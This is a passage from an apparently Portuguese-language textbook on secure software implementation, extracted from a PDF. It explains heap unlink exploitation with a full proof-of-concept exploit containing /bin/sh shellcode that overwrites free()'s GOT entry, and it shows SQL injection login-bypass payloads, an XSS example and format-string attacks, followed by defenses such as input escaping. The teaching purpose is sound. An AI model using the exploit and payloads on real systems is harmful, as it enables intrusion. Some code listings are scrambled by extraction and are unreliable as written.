16 posições, com saltos de 512 bytes
8 posições, com saltos de 4096 bytes
4 posições, com saltos de 32768 bytes
2 posições, com saltos de 262144 bytes
1 posição com o restante

Os chunks grandes (maiores que 512 bytes ) são indexados através da função
largebin_index(). Os chunks pequenos, através da smallbin_index(), como
mostra o código abaixo:

Listing 10: getbinidx.c

5 #define smallbin_index ( s z ) ( ( ( unsigned ) ( s z ) ) >> 3)


6
7 #define l a r g e b i n _ i n d e x ( s z )\
8 ( ( ( ( ( unsigned long ) ( s z ) ) >>6) <= 32)? 56 +((( unsigned long ) ( s z ) ) >> 6 ) : \
9 ( ( ( ( unsigned long ) ( s z ) ) >>9) <= 20)? 91 +((( unsigned long ) ( s z ) ) >> 9 ) : \
10 ( ( ( ( unsigned long ) ( s z ) ) >>12)<= 10)?110 +((( unsigned long ) ( s z ) ) >>12):\
11 ( ( ( ( unsigned long ) ( s z ) ) >>15)<= 4)? 119 +((( unsigned long ) ( s z ) ) >>15):\
12 ( ( ( ( unsigned long ) ( s z ) ) >>18)<= 2)? 124 +((( unsigned long ) ( s z ) ) >>18):\
13 126)
14
15 #define bin_index ( s z ) \
16 ( s z < 512 ? smallbin_index ( s z ) : l a r g e b i n _ i n d e x ( s z ) )

Embora a implementação tenha muitos outros detalhes, estas são as consi-


derações necessárias para compreender a ténica à seguir.

Algumas codicações deixam brechas para que a implementação dl − malloc


permita a execução de códigos arbitrários. Isto ocorre quando podemos corrom-
per os chunks de uma forma especíca, tal que, ao ler seus valores, o algoritmo
escreva em áreas de memória críticas para o uxo de execução.

A macro unlink() retira (desconecta) um chunk livre de um bin. Ambas as


funções malloc() e f ree() fazem chamada à este procedimento.

No primeiro caso, quando é necessário alocar memória dinâmica, e, portanto,


deve-se retirá-lo da lista de chunks livres ; no segundo, por exemplo, quando é
preciso concatenar chunks livres  já que, como vimos, chunks livres adjacentes
são re-armazenados em um só chunk.

35
Listing 11: unlink.c

3 #define u n l i n k (P, BK, FD) { \


4 BK = P−>bk ; \
5 FD = P−>f d ; \
6 BK−>f d = FD; \
7 FD−>bk = BK; \
8 }

Uma das técnicas de exploração se baseia nesta macro para escrever em áreas
da memória, e por isto foi denominada Unlink technique  criada por Solar De-
signer, e publicada em [SolarDesigner2000].

Os códigos abaixo fazem parte de um exemplo prático descrito em [MaXX2001],


e devem ser testados contra um Linux x86 32-bits, GNU C Library versão 1.2.x.
A razão para a mudança de arquitetura é a complexidade que o endereça-
mento do AM D 64-bits acrescenta à esta técnica. Estes endereços contêm zeros
(0x00) que dicultam a inserção dos valores corretos na memória, já que fun-
ções como strcpy() limitam o buer de entrada, compreendendo estes caracteres
como terminais.

Listing 12: vuln.c

1 #include <s t d i o . h>


2 #include <s t d l i b . h>
3
4 int main ( int argc , char ∗∗ argv ) {
5 char ∗ p1 ;
6 char ∗ p2 ;
7
8 p1 = malloc ( 6 6 6 ) ;
9 p2 = malloc ( 1 2 ) ;
10 s t r c p y ( p1 , argv [ 1 ] ) ;
11 f r e e ( p1 ) ;
12 f r e e ( p2 ) ;
13 return 0;
14 }

Note que a linha 10 pode gerar um overow que comprometa o chunk p2,
já que este é adjacente à p1.

Em seguida, na linha 11 do programa vulnerável, tenta-se desalocar p1. Se


pudermos forjar o estado p2 como livre, dl − malloc executará a unlink , com
p2 como argumento, com a intenção de concatenar os chunks livres adjacentes.

Além disso, podemos escolher valores especiais para FD e BK tal que a


execução da linha 7 de unlink sobre-escreva a área de memória endereçada por

36
F D + 3 ∗ SIZE _SZ (já que se trata do campo bk da estrutura) com o valor
de BK .

Se BK aponta para um shellcode e F D + 3 ∗ SIZE _SZ aponta para


entrada da GOT (Global Oset Table ), podemos substituir uma função pelo
código arbitrário dentro do contexto do processo.

A GOT é um segmento do ELF que armazena os endereços das funções


mapeadas da biblioteca na memória. Você pode consultar seus valores através
do comando objdump, da seguinte forma:

savio@vm1:~/unlink$ objdump -R ./vuln

./vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS


OFFSET TYPE VALUE
00000000080495a0 R_386_GLOB_DAT __gmon_start__
0000000008049588 R_386_JUMP_SLOT __register_frame_info
000000000804958c R_386_JUMP_SLOT malloc
0000000008049590 R_386_JUMP_SLOT __deregister_frame_info
0000000008049594 R_386_JUMP_SLOT __libc_start_main
0000000008049598 R_386_JUMP_SLOT free
000000000804959c R_386_JUMP_SLOT strcpy

Repare que a primeira instrução da função f ree() deve ser encontrada na


posição de memória apontada pelo conteúdo de 0x08049560, neste caso. Em ou-
tras palavras, 0x08049560 é a posição da GOT que contém o endereço de f ree().

O processo do usuário requisita a alocação de 666 bytes, que corresponde


à um chunk de tamanho 672; e, conseqüentemente, em uma área de memória
utilizável de 668 bytes.
Para sobrescrever os campos F D e BK do chunk de p2 é preciso ter uma
buer de tamanho 680 (668 + 3 ∗ SIZE _SZ ), já que o primeiro campo do
segundo chunk é utilizado no espaço de dados do primeiro; restando, portanto,
três campos de tamanho SIZE _SZ .

Basta portanto enganar a f ree(), forjando o segundo chunk como livre, ao


invés de alocado. Para isto vamos sobrescrever o valor do campo size do pró-
ximo chunk com o valor −SIZE _SZ . dl − malloc irá entender
Desta forma a
que o início do próximo chunk consecutivo é, na verdade, SIZE _SZ bytes antes
do chunk que guarda p2, e o bit P REV _IN U SE (campo prevs ize) do segundo
chunk será lido  bastando, portanto, sobrescrevê-lo com qualquer valor par
(que tem o bit menos signicativo nulo).

37
Os SIZE _SZ bytes da posição BK + 2 ∗ SIZE _SZ (BK− > f d, da linha
6 da unlink ) do shellcode são sobrescritos com um valor indesejável, que cor-
rompe parte das instruções.

Por isso, a primeiras instrução do shellcode deve fazer um salto (jmp) para
depois da area comprometida.

Não cabe explicar em detalhes a confecção de um shellcode neste capítulo.


Por hora basta acreditar que a sequência declarada na prova de conceito abaixo
servirá para nossos ns.

Com isto em mente é possível compreender como o código abaixo [MaXX2001]


explora a vulnerabilidade no programa vuln.c.
Listing 13: maxx.c

1 #include <s t r i n g . h>


2 #include <u n i s t d . h>
3
4 #define FUNCTION_POINTER ( 0 x08049598 )
5 #define CODE_ADDRESS ( 0 x8049668 + 2 ∗ 4 )
6
7 #define VULNERABLE
#define DUMMY 0 x d e f a c e d
" ./ vulnerable "
8
9 #define PREV_INUSE 0x1
10
11 char s h e l l c o d e [ ] =
12 /∗ salta 10 bytes ∗/
13 "\ xeb \ x 0 a p p s s s s f f f f "
14 /∗ shellcode por Aleph One ∗/
15 "\ xeb \ x 1 f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 "
16 "\ x46 \ x0c \ xb0 \ x0b \ x89 \ x f 3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c "
17 " \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd \ x80 \ xe 8 \ xdc \ x f f "
18 "\ x f f \ x f f / b i n / sh " ;
19
20 int main ( void )
21 {
22 char ∗ p ;
23 char argv1 [ 680 + 1 ] ;
24 char ∗ argv [ ] = { VULNERABLE, argv1 , NULL } ;
25
26 p = argv1 ;
27 / ∗ FD do ∗/
void void
primeiro chunk
28 ∗( ( ∗∗)p ) = ( ∗ ) ( DUMMY ) ;
29 p += 4 ;
30 / ∗ BK do ∗/
void void
segundo chunk
31 ∗( ( ∗∗)p ) = ( ∗ ) ( DUMMY ) ;
32 p += 4 ;
33 /∗ shellcode ∗/
34 memcpy( p , s h e l l c o d e , s t r l e n ( s h e l l c o d e ) ) ;

38
35 p += s t r l e n ( s h e l l c o d e ) ;
36 /∗ padding ∗/
37 memset ( p , ' B ' , (680 − 4 ∗ 4) − (2 ∗ 4 + s t r l e n ( s h e l l c o d e ) ) ) ;
38 p += ( 680 − 4 ∗ 4 ) − ( 2 ∗ 4 + s t r l e n ( s h e l l c o d e ) ) ;
39 /∗ p r e v _ s i z e do s e g u n d o c h u n k ∗ /
40 ∗ ( ( s i z e _ t ∗ ) p ) = ( s i z e _ t ) ( DUMMY & ~PREV_INUSE ) ;
41 p += 4 ;
42 /∗ s i z e do s e g u n d o c h u n k ∗ /
43 ∗ ( ( s i z e _ t ∗ ) p ) = ( s i z e _ t ) ( −4 ) ;
44 p += 4 ;
45 / ∗ FD do ∗/
void void
segundo chunk
46 ∗( ( ∗∗)p ) = ( ∗ ) ( FUNCTION_POINTER − 12 ) ;
47 p += 4 ;
48 / ∗ BK do ∗/
void void
segundo chunk
49 ∗( ( ∗∗)p ) = ( ∗ ) ( CODE_ADDRESS ) ;
50 p += 4 ;
51 ∗p = ' \0 ' ;
52
53 /∗ Executa o programa vulneravel com o buffer
54 ∗ malicioso como parametro ∗/
55 execve ( argv [ 0 ] , argv , NULL ) ;
56
57 return ( −1 ) ;
58 }

CODE _ADDRESS aponta para a posição logo após o campo BK do chunk


de p1. O endereço 0x8049668 é o mesmo retornado pela linha 8 do programa
vuln.c (p1 = malloc(666)). Este endereço é copiado sobre o campo BK do
segundo chunk.
A constante F U N CT ION _P OIN T ER é decrementada de 3 ∗ SIZE _SZ
posições  como vimos nos parágrafos anteriores  e copiada sobre o campo FD
do segundo chunk. F U N CT ION _P OIN T ER deve conter o endereço para a
entrada da GOT que referencia f ree(), porque, logo em seguida, na linha 12
de vuln.c, faz-se uma chamda à esta função, e é uma ótima oportunidade para
executar o código arbitario!

Com isto, o registrador %eip aponta para a primeira instrução do shellcode


 ao invés de apontar para a função f ree() da biblioteca padrão  e o executável
(/bin/sh) é carregado, resultando em:

savio@vm1:~/unlink$ gcc -o exploit exploit.c


savio@vm1:~/unlink$ ./exploit
sh-2.05$ id
uid=1000(savio) gid=100(users) groups=100(users)

Voilà! Conseguimos novamente.

39
Se este processo pertencesse ao usuário root (ou tivesse direitos SU ID de-
legados por ele) teríamos um shell com nível de acesso irrestrito ao sistema!

Mais uma vez ca claro que um pequeno descuido pode comprometer toda
a infraestrutura de segurança do sistema de informação. Se ainda não acha o
suciente, veja as técnicas das próximas seções!

3.2.3 Integer overow


Um integer overow ocorre quando um dos limites numéricos de um inteiro é
extrapolado. Por exemplo:

into.c

1 #include <s t d i o . h>


2
3 int main ( void ) {
4 int k = 0 x f f f f f f f f ;
5 if ( k ∗ 2 < k )
6 printf ( );
return 0 ;
" o v e r f l o w \n"
7
8 }
O tamanho do inteiro é 4 bytes. A viariável k recebe 232 − 1, que é o maior
valor que se pode representar neste espaço. O produto de dois inteiros positivos
deve ser sempre maior ou igual a seus termos; entretanto, não podemos usar
mais bits de representação. O que ocorre é que a multiplicação gera um overow
e o resultado é truncado em um valor menor do que o esperado.

Estas falhas, se isoladas, não possibilitam a execução de códigos arbitrários


no sistema. Porém obviamente existem situações onde o integer overow oca-
siona a falha de segurança explorável. Como fora o caso das vulnerabilidade
encontradas na função calloc() em meados do ano 2002.

O defeito foi muito comentado na ocasião de sua descoberta por sua alta cri-
GNU
ticidade e por afetar muitas das implementações da função na época, e.g.,
C Library 2.2.5 Microsoft Visual C++ 6.0. Esta vulnerabilidade foi publi-
e
cada pelo CERT (Computer Emergence Response Team ) em [RUS-CERT2002a].

Olhando de perto a implementação da função calloc() na GNU C Library


ca mais claro de onde surge o problema:

40
1. void *
2. calloc (size_t n, size_t len)
3. {
4. struct header *result;
5. size_t size = n * len;
6. ...
7. }

A versão vulnerável da função (glibc2.2.5) não valida os parâmetros contra


um possível overow. O resultado é que calloc() retorna um buer menor do
que o esperado pelo procedimento cliente. Qualquer tentativa de escrever fora
dos limites alocados resultaria em um heap overow, e então abordaríamos o
problema de uma forma semelhante à apresentada na seção anterior. Atual-
mente as funções calloc() previnem o erro fazendo as vericações necessárias
para identicar o overow e, caso ocorra, retornam N U LL ao invés de retornar
um buer de tamanho desconhecido.

3.3 SQL Injection


SQL Injection é um dos tipos de vulnerabilidades decorrentes do mal proces-
samento de entradas. Imagine um sistema onde o login e a senha de um usuário
são passados através de um formulário web. As informações fornecidas são va-
lidadas em um banco de dados, e o acesso é garantido se a consulta acusar o
sucesso da autenticação.

Para exemplicar, usaremos um formulário simples feito nas linguagens P HP


e HT M L. O código deste formulário pode ser encontrado na seção 6.1 (Apên-
dice) pelo nome f orm.php, no nal deste documento.

A interface vista do navegador de páginas web é esta:

Figura 7: Formulário de Autenticação

41
Ao submeter a informação o usuário faz com que o servidor execute uma
rotina de autenticação. Esta rotina é um script P HP que busca as entradas de
um banco de dados local (f oobar ), exatamente como mostram as linhas 9 e 10
do arquivo f orm.php.

O script compara os valores do banco com os dados fornecidas pelo usuário.


Note que é utilizada uma AP I de comunicação com o M ySQL, que é o sistema
gerenciador de banco de dados usado nesta aplicação.

O prompt de comandos do M ySQL nos permite consultar as propriedades


das tabelas através do comando  describe. A tabela users tem o seguinte for-
mato:

mysql> describe users;


+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(6) | NO | PRI | NULL | auto_increment |
| name | varchar(16) | NO | | | |
| login | varchar(16) | NO | UNI | | |
| password | varchar(16) | NO | | | |
+----------+-------------+------+-----+---------+----------------+

Uma consulta simples nos mostra todos os usuários cadastrados no sistema:

mysql> select * from users;


+----+------------------+----------+-----------+
| id | name | login | password |
+----+------------------+----------+-----------+
| 1 | Jose Jr | josejr | 12345 |
| 2 | Maria Silva | maria | maria123 |
| 3 | Joao Silva | jsilva | joao123 |
| 4 | Carolina Barbosa | carolb | c4r0lb4r |
| 5 | Ana Clara Machad | anaclara | anacm2007 |
+----+------------------+----------+-----------+

Quando as informações fornecidas combinam com alguma das linhas do


banco de dados, o sistema imprime a mensagem Acesso permitido! :-), caso
contrário, imprime Acesso negado. :-(.

Como dito antes, o ataque consiste em adicionar um comando arbitrário em


uma query SQL  que neste caso, é a query responsável por buscar os pares
usuário/senha armazenados.

42
Imagine que a Maria Silva queira se autenticar no sistema. Ela abre seu
navegador, carrega o formulário, e entra com o nome e senha corretos.

Figura 8: Autenticação da Maria Silva

O código HT M L do formulário de autenticação é:

form.php

22 <div>
23 <form a c t i o n=" f o r m . php " method=" p o s t " name=" f ">
24 Nome :
25 <inpu t name=" l o g i n " type=" t e x t " i d=" l o g i n " s i z e=" 1 6 ">
26 <br/>
27 Senha :
28 <inpu t name=" p a s s w d " type=" p a s s w d " i d=" p a s s w d " s i z e=" 1 6 ">
29 <br/>
30
31 <inpu t name=" s u b m i t " type=" s u b m i t " v a l u e="OK">
O navegador irá executar um comando P OST (do protocolo HT T P ) envi-
ando o nome e a senha entrados no formulário de autenticação.

Quando o usuário pressiona o botão Ok, este mesmo formulário é requi-


sitado. No entanto, as variáveis $login e $passwd serão preenchidas com os
valores passados pelo comando P OST ao servidor  mudando o uxo da execu-
ção para, ou uma autenticação bem-sucedida, ou uma tentativa fracassada de
acessar o sistema  como mostra o código na próxima página.

A autenticação é feita através do comando SQL na linha 12, que busca uma
entrada da tabela users que contenha ao mesmo tempo o login e a senha forne-
cidos pelo usuário.

No caso da Maria, o comando SQL processado será select * from users


where login='maria' and password='maria123 '.

43
form.php

5 $ l o g i n = $_POST[ ' login ' ];


6 $passwd = $_POST[ ' passwd ' ];
7
8 /∗ ∗/
if (
autenticacao
9 $ l o g i n != n u l l ) {
10 mysql_connect ( l o c a l h o s t , " r o o t " , " 3 1 3 3 7 " ) ;
11 @mysql_select_db ( " f o o b a r " ) or d i e ( " e r r o do banco " );
12 $qry = " s e l e c t ∗ f r o m u s e r s
13 where l o g i n =' $ l o g i n ' and p a s s w o r d =' $passwd ' " ;
14 $ r e s = mysql_query ( $qry ) ;
15 if ( $ r e s != n u l l && mysql_numrows ( $ r e s ) >= 1 )
16 echo " A c e s s o p e r m i t i d o ! : − ) " ;
17 else
18 echo : −( " ;
else
" Acesso negado .
19 } {
20 /∗ formulario html ∗/
Existe uma vulnerabilidade grave neste sistema que permite o acesso de uma
pessoa mesmo sem que ela seja um usuário registrado, ou conheça alguma das
senhas! Você é capaz de apontá-la?

Disemos que uma falha é susceptível a SQL injection quando é possível


escolher um input tal que a query resultante contenha um comando arbitrário.
Vajamos novamente a codicação da query SQL:
$qry= "select * from users where login='$login' and password='$passwd'"

O que acontece quando a variável $login contém um dos caracteres de con-


trole da linguagem SQL? Por exemplo, se o token de comentário (−−) fosse
atribuído à variável $login, o que aconteceria?

Ocorre que a variável $login é concatenada com as outras partes do comando


sem haver nenhum tratamento prévio. As informações fornecidas pelo usuário
são substituidas na cadeia de caracteres $qry sem que seja assgurada a consis-
tência do comando resultante.

Portanto, os campos Nome e Senha do formulário são extensões do comando


SQL! Os valores não são devidamente resguardados como um dos parâmetros
da cláusula W HERE . Se o campo Nome 0
tem valor  − − (como no exemplo
acima) e Senha é deixado em branco, temos o seguinte resultado:

$qry= "select * from users where login=''-- ' and password = ''"

44
Note o token de comentário  −−  (terminado por um caractere branco).
Toda a linha à direita dele é ignorado, resultando em:

$qry= "select * from users where login=''"

Esta modicação ainda não é o suciente para burlar a autenticação do pro-


grama, já que não há entradas com o campo login nulo na tabela users.

Figura 9: PHP Injection-1

Partindo do princípio que não conhecemos nenhum usuário  que nos per-
0
mitiria entrar algo como:  maria − −   podemos concatenar uma condição
OU com uma sentença verdadeira, para obter como resposta todas as linhas da
tabela users. A query 0
resultante da entrada da cadeia  or 1 = 1 − −  seria:

$qry= "select * from users where login='' or 1=1"

Este comando fará com que todas as linhas da tabela sejam retornadas, já
que 1=1 é sempre verdadeiro.

Figura 10: PHP Injection-2

E novamente, Voilà!, o mecanismo de autenticação foi burlado. O agente


do ataque foi capaz de violar o controle de acesso sem nem mesmo precisar de
um usuário forjado.

Em outros casos, uma pessoa má intencionada poderia não querer acesso ao


sistema, mas sim torná-lo indisponível apagando todas as entradas da tabela de
usuários.

45
Perceba como um pequeno descuido pode comprometer todo o sistema!
Nunca cone nos valores entrados pelos usuários.

A maneira correta de implementar a construção da query é validando a en-


trada antes de ser concatenada ao comando, assegurando que não há comandos
injetados dentro do valor recebido.

Obviamente, isto nunca é uma tarefa fácil. Na implementação de um sis-


tema, muitas vezes, protegê-lo é uma questão de antever ao máximo todos os
possíveis ataques que o programa pode sofrer.

Uma das maneiras de se proteger do ataque é processar a entrada do usuário


com a função mysql_real_escape_string(), que adiciona escapes à todos os
caracteres reconhecidos como ameaças para um comando na linguagem SQL 
que são, na verdade, os próprios caracteres especiais ou tokens da linguagem.

No exemplo do ataque acima, poderíamos usar a função para adicionar es-


capes no conteúdo da variável $login, desta forma:

$login = mysql_real_escape_string($login);
$qry = "select * from users
where login='$login' and password='$passwd'";

A query resultante seria esta:

select * from users where login='\' or 1=1 -- ' and password=''

Note que o segundo acento é precedido de um escape, e isto faz com que
todo o argumento, incluindo a seqüência de comentário  −− , ja considerado
parte do campo login na busca.

O resultado é um sistema mais seguro, já que este novo mecanismo foi capaz
de evitar a injeção do comando:

Figura 11: PHP Injection-3

Ainda que não seja possível garantir completamente sua imunidade, esta im-
plementação é segura contra a maioria das tentativas de ataques de SQL Injection.

46
É compreensível que estas falhas sejam freqüentemente reproduzidas por
programadores inexperientes, já que esta é talvez a forma mais direta e intui-
tiva de gerar a query a partir do input.
Mas, como podemos saber se a aplicação é vulnerável?

O teste trivial para vericar vulnerabilidades de injeção de comandos SQL


é passar um único apóstrofe (') como entrada. Assim, o comando teria uma
seqüência inválida de tokens 000
(login = ) forçando o parser
SQL a acusar o erro.

Infelizmente isto não é verdade em todos os casos, como até mesmo no


exemplo desta seção. Já que, ao receber null como resposta, o sistema acusa
imediatamente uma falha na autenticaçção, sem reportar o erro de sintaxe.

Na práticas, devemos fazer análises estáticas, utilizar fuzzers e testes minu-


ciosos para garantir ainda mais a segurança do software.

3.4 Cross-Site Scripting (XSS)


Um tipo de vulnerabilidade muito explorado ultimamente são os Cross-site
Scripting, que aproveitam o mal processamento dos dados de entrada na cons-
trução de páginas HT M L.

O nome foi adaptado para XSS para não ser confundido com outros acrô-
nimos iguais, como é o exemplo do CSS (Cascading Style Sheets ), usado no
design das página HT M L.

Como as formas redusidas fazem parte do mesmo domínio de conhecimento,


não faz mesmo sentido manter as iniciais para o nome ataque.

O XSS permite burlar mecanismos de controle de acesso para obter infor-


mações condenciais do usuário, ou executar scripts em sua máquina.

Exitem muitas variações deste ataque, e não vamos nos ater a mostrar cada
uma delas. Ao contrário, vamos considerar a essencia do problema  que é um
tanto mais simples que suas variações  para exemplicar o procedimento de
exploração.

Usaremos como exemplo o código a seguir.

47
xss.php

1 <html>
2 <head><t i t l e >Exemplo de XSS</ t i t l e ></head>
3 <body>
4 <?php
5 $name = $_POST[ ' name ' ];
6
7 if ( $name != null ) {
8 echo "Bem− v i n d o , , $name ;
} else {
"
9
10 ?>
11 <div>
12 <form a c t i o n=" f o r m . php " method=" p o s t " name=" f ">
13 Nome :
14 <inpu t name=" name " type=" t e x t " i d=" name " s i z e=" 3 2 ">
15 <br/>
16 <inpu t name=" s u b m i t " type=" s u b m i t " v a l u e="OK">
17 </form>
18 </div>
19 <?php
20 }
21 ?>
22 </body>
23 </html>
Este código é muito semelhante ao formulário usado na seção sobre SQL
Injection, com a diferença que não há mais conexão com o banco de dados.
No lugar, o script constroi e imprime uma mensagem simples para o usuário:
Bem-vindo, $nome.

Figura 12: XSS - Caso de uso

Note que, novamente, o nome do usuário é concatenado à uma página


HT M L sem nenhuma tratamento especial para a linguagem. O que acontece
quando inserimos código no formulário?

Figura 13: XSS - Injeção de código

48
Figura 14: XSS - Código executado

Não poderíamos esperar algo diferente. O script foi executado, fazendo o


navegador mostrar uma janela com a mensagem XSS. Ou seja, de fato o con-
teúdo do campo no formulário foi injetado na página montada para exibição.

Se o programa vulnerável fosse, por exemplo, responsável por enviar mensa-


gens em fóruns na Internet, seria possível criar uma página que quando lida 
i.e, interpretada  executasse um script na estação de cada usuário.

Os navegadores mais populares usam um mecanismo de controle de acesso


que isola a execução do script por contextos denidos pela origem (servidor) e
protocolo utilizado na comunicação.

Em outras palavras, um dado local (ex. cookie ) armazenado pelo site f oo.org
só pode ser acessado por scripts provenientes de páginas de f oo.org .

Quando f oo.org é vulnerável à XSS , a informação armazenada na estação


dos usuários que corresponde à este site pode ser comprometida. Basta que os
scripts publiquem ou alterem os dados de alguma forma. Com um pouco de
engenharia social pode-se convencer os usuários a acessar a página maliciosa.

Também é possível fazer phishing em sites com vulnerabilidades XSS em


alguns casos especícos, já que, como há a injeção de código HT M L, pode-se
criar uma página forjando formulários de senha, etc.

Como dito inicialmente, estas vulnerabilidades são encontradas de muitas


formas nas aplicações reais, e existem diferentes técnicas para explorar cada
uma delas. No entanto, a essência do ataque deve estar clara depois deste
exemplo.

49
Mais uma vez vimos um caso de implementação  de certo modo até bastante
corriqueiro  que acaba por se tornar um grande problema para o sistema de
informação. Outras tantas vulnerabilidades menos populares ocorrem quando
se tem intercâmbio entre linguagens, interpretadores e entradas arbitrárias.

Note que os conceitos por trás dos ataques e das vulnerabilidades são, em
geral, muito simples. E apesar de simples passam desapercebidos na fase de
implementação! É preciso cautela, metodologia, ateção e, por m, é preciso
conhecimento para confeccionar um software seguro.

3.5 Format string


Trata-se novamente de uma vulnerabilidades que provém do mal processamento
da entrada de dados.

Para mostrar o ataque vamos usar exemplos de códigos que fazem mal uso
de funções da biblioteca C padrão. De certa forma, há de se questionar a se-
gurança desta biblioteca porque, na verdade, os problemas são instrínsecos à
especicação da linguagem. Mais ecaz que argumentar é aprender com os er-
ros e evitar seus pontos fracos.

Estas vulnerabilidades ocorrem porque algumas funções  como as da família


printf e scanf  não consideram corretamente a quantidade de parâmetros rece-
bidos, e são incapazes de identicar as terminações dos argumentos na memória.

Estes são os protótipos de algumas das funções com formatação de string :


1 int printf ( const char ∗ format , . . . ) ;
2 int f p r i n t f ( FILE ∗ stream , const char ∗ format , . . . ) ;
3 int sprintf ( char ∗ str ,const char ∗ format , . . . ) ;
4 int snprintf ( char ∗ str , size_t size ,const char ∗ format , . . . ) ;
5
6 int s c a n f ( const char ∗ format , . . . ) ;
7 int f s c a n f ( FILE ∗ stream , const char ∗ format , . . . ) ;
8 int s s c a n f ( const char ∗ s t r , const char ∗ format , . . . ) ;
O último argumento de cada função (...) indica que a quantidade de parâ-
metros para formatação é variável, podendo ter zero ou mais itens. Serão lidos
tantos parâmetros quanto os conversores especicados na variável f ormat.

Os conversores são identicadores de tipo e modicadores precedidos de %.


À cada conversor corresponde um argumento.

50
fmt1.c

1 #include <s t d i o . h>


2
3 int main ( int argc , char ∗∗ argv ) {
4 p r i n t f ( argv [ 1 ] ) ;
5 p r i n t f ( "\n" ) ;
6 return 0;
7 }
Você suspeita da segurança deste código? Ele pode não parecer ter qualquer
problema, mas esconde uma vulnerabilidade grave. Vamos ver porquê.

savio@halcyon:fmt% make fmt1


cc fmt1.c -o fmt1
savio@halcyon:fmt% ./fmt1 thequickbrownfoxjumpsoverthelazydog
thequickbrownfoxjumpsoverthelazydog
savio@halcyon:fmt%

O primeiro argumento do comando é passado como parâmetro para a função


printf . Quando a string tem conversores de formatação os parâmetros são li-
dos da pilha sem vericação de limite ou corretude  fazendo com que quaisquer
valores previamente inseridos sejam interpretados como argumentos!

Na primeira seção deste capítulo estudamos os stack overows e vimos a


organização da pilha quando há uma chamada de função (call ). Veja o que
acontece quando a cadeia de caracteres de entrada contém conversores de for-
matação:

savio@halcyon:fmt% ./fmt1 "%p %p %p %p %p"


0x7ffffff21cf8 0x7ffffff21d10 0x400540 0x4005a0 0x2aaaaaab5bb0
savio@halcyon:fmt%

Como não há parâmetros para a printf os valores da stack são lidos seqüen-
cialmente até que todos os conversores sejam consumidos.

Mais à frente vamos identicar quais são estes valores e ver como explorar o
defeito. Antes de prosseguir devemos atentar para dois fatos interessantes sobre
a printf .

O primeiro é o caractere de formatação %c que faz com que a função escreva


a quantidade de bytes lidos em um inteiro apontado pelo parâmetro, como mos-
tra o código:

51
fmt2.c

1 #include <s t d i o . h>


2
3 int main ( void ) {
4 int c ;
5 p r i n t f ( " 12345% n " , &c ) ;
6 p r i n t f ( " %d \ n " , c ) ;
7 /∗ ∗/
return
output : 12345 5
8 0;
9 }
O segundo fato interessante é que podemos referenciar o N-ésimo parâmetro
através do modicador %n$, da seguinte forma:

fmt3.c

1 #include <s t d i o . h>


2
3 int main ( void ) {
4 p r i n t f ( "%2$ c %1$ c \ n " , 'a ' , 'b ' );
5 /∗ ∗/
return
output : b a
6 0;
7 }
O primeiro conversor indica que o segundo parâmetro deve ser impresso; o
segundo conversor referencia o primeiro parãmetro; de forma que temos a saída
b a no terminal quando o programa é executado.

Novamente é possível manipular os dados para comprometer o uxo de exe-


cução do programa. Como?

Uma forma simples e direta é utilizar o conversor %hn  que funciona como
%n, mas reduzido para o tipo short int. Assim, pode-se escrever tantos blocos
de dois bytes quanto for necessário para preencher um endereço.

Este endereço deve ser uma área da memória sensível ao uxo de instruções,
como por exemplo, a GOT Global Oset Table ).
( Outra abordagem seria uti-
lizar o endereço de retorno da própria printf , ou o segmento dtors do ELF , etc.

Existem outras funções que usam este tipo de formatação de cadeias de ca-
racteres. A syslog() é um exemplo, usada para gerar registros de trilhas dos
sistemas Unix.

52
3.6 Considerações sobre Exploração de Vulnerabilidades
Vimos até agora algumas formas de tirar proveito da capacidade de escrever by-
tes em posições aleatórias da memória. No entanto, cabe salientar que  ainda
no tocante a um mesmo ataque  existem muitas formas de tomar o controle do
uxo de instruções.

Na prática, o programador do exploit precisa encontrar (ou criar) os proce-


dimentos corretos para executar o código arbitrário.

Os truques e artimanhas para burlar ou tirar proveito da implementação do


software costumam ser criativos e, por vezes, até geniais. A codicação de um
exploit é muito mais árdua que se pode parecer lendo estas seções.
É praticamente impossível não esbarrar em obstáculos que impeçam a apli-
cação trivial das técnicas que conhecemos, e, por isto, é comum encontrarmos
constantemente novas soluções para os velhos problemas  que acabam por se
tornar variações da própria técnica.

À cada dia vemos documentos publicados com novas abordagens e metodo-


logias de exploração de vulnerabilidades em implementações e arquiteturas de
software.
Como curiosidade, vale consultar os sites de busca da Internet para conhecer
mais sobre as técnicas o-by-one ; o-by-few ; return to libc ; malloc malecarum ;
utilização das seções ELF , como dtors e got; e até mesmo tópicos sobre a criação
de shellcodes, etc.

53
4 Implementação Segura

4.1 Introdução
Tivemos, nas seções anteriores, uma visão geral dos pontos essenciais que de-
vem ser considerados no desenvolvimento de um sistema seguro. Vimos como
alguns defeitos podem comprometer a informação de um sistema, e o quanto
são comuns e corriqueiros.

Há de ter cado claro o quanto a fase de implementação é essencial para a


geração de um software seguro. É este o momento de garantir a ausência de
vulnerabilidades, a integridade das trasações de informação, e a corretude do
controle dos acessos.

Lembre-se que os tipos de ataques à sistemas de informação são basicamente


de três: os que afetam, ou a conabilidade, ou a integridade, ou a disponibili-
dade dos dados.

Considerando isto e todo o conhecimento das vulnerabilidades estudadas na


seção anterior temos uma visibilidade razoável das ameaças que podem impac-
tar o sistema.

Toda atenção é pouca! Aqui a paranóia é uma qualidade  imprescindível


para obter um bom resultado. E, meio à tantas ameaças, só podemos tirar con-
forto ao perceber que as causas da maioria das vulnerabilidades em sistemas de
computação são um tanto similares.

Por isso, conhecer boas práticas de programação e evitar algumas situações


especícas é ecaz para combater a grande maioria dos ataques que o sistema
efetivamente vai sofrer.

Ao mesmo tempo, não devemos conar cegamente na segurança que imagi-


namos ter conseguido na implementação, depois de tanto suor. Acredite que, se
há uma vulnerabilidade, o sistema está sujeito a um risco real e tangível.

O agente da ameaça na outra ponta do cenário normalmente está bastante


empenhado em encontrar meios de tirar proveito do sistema, e às vezes toda a
segurança que se pode desenvolver não é suciente.

Existem diferentes abordagens para fundamentar a segurança de um sis-


tema. O Dr. Bruce Schneier  certamente um dos cientistas que mais ativos e
inuentes entre os envolvidos com segurança da informação  sustenta a idéia
[Schneier2002] da não-viabilização da segurança através de fontes ou mecanis-
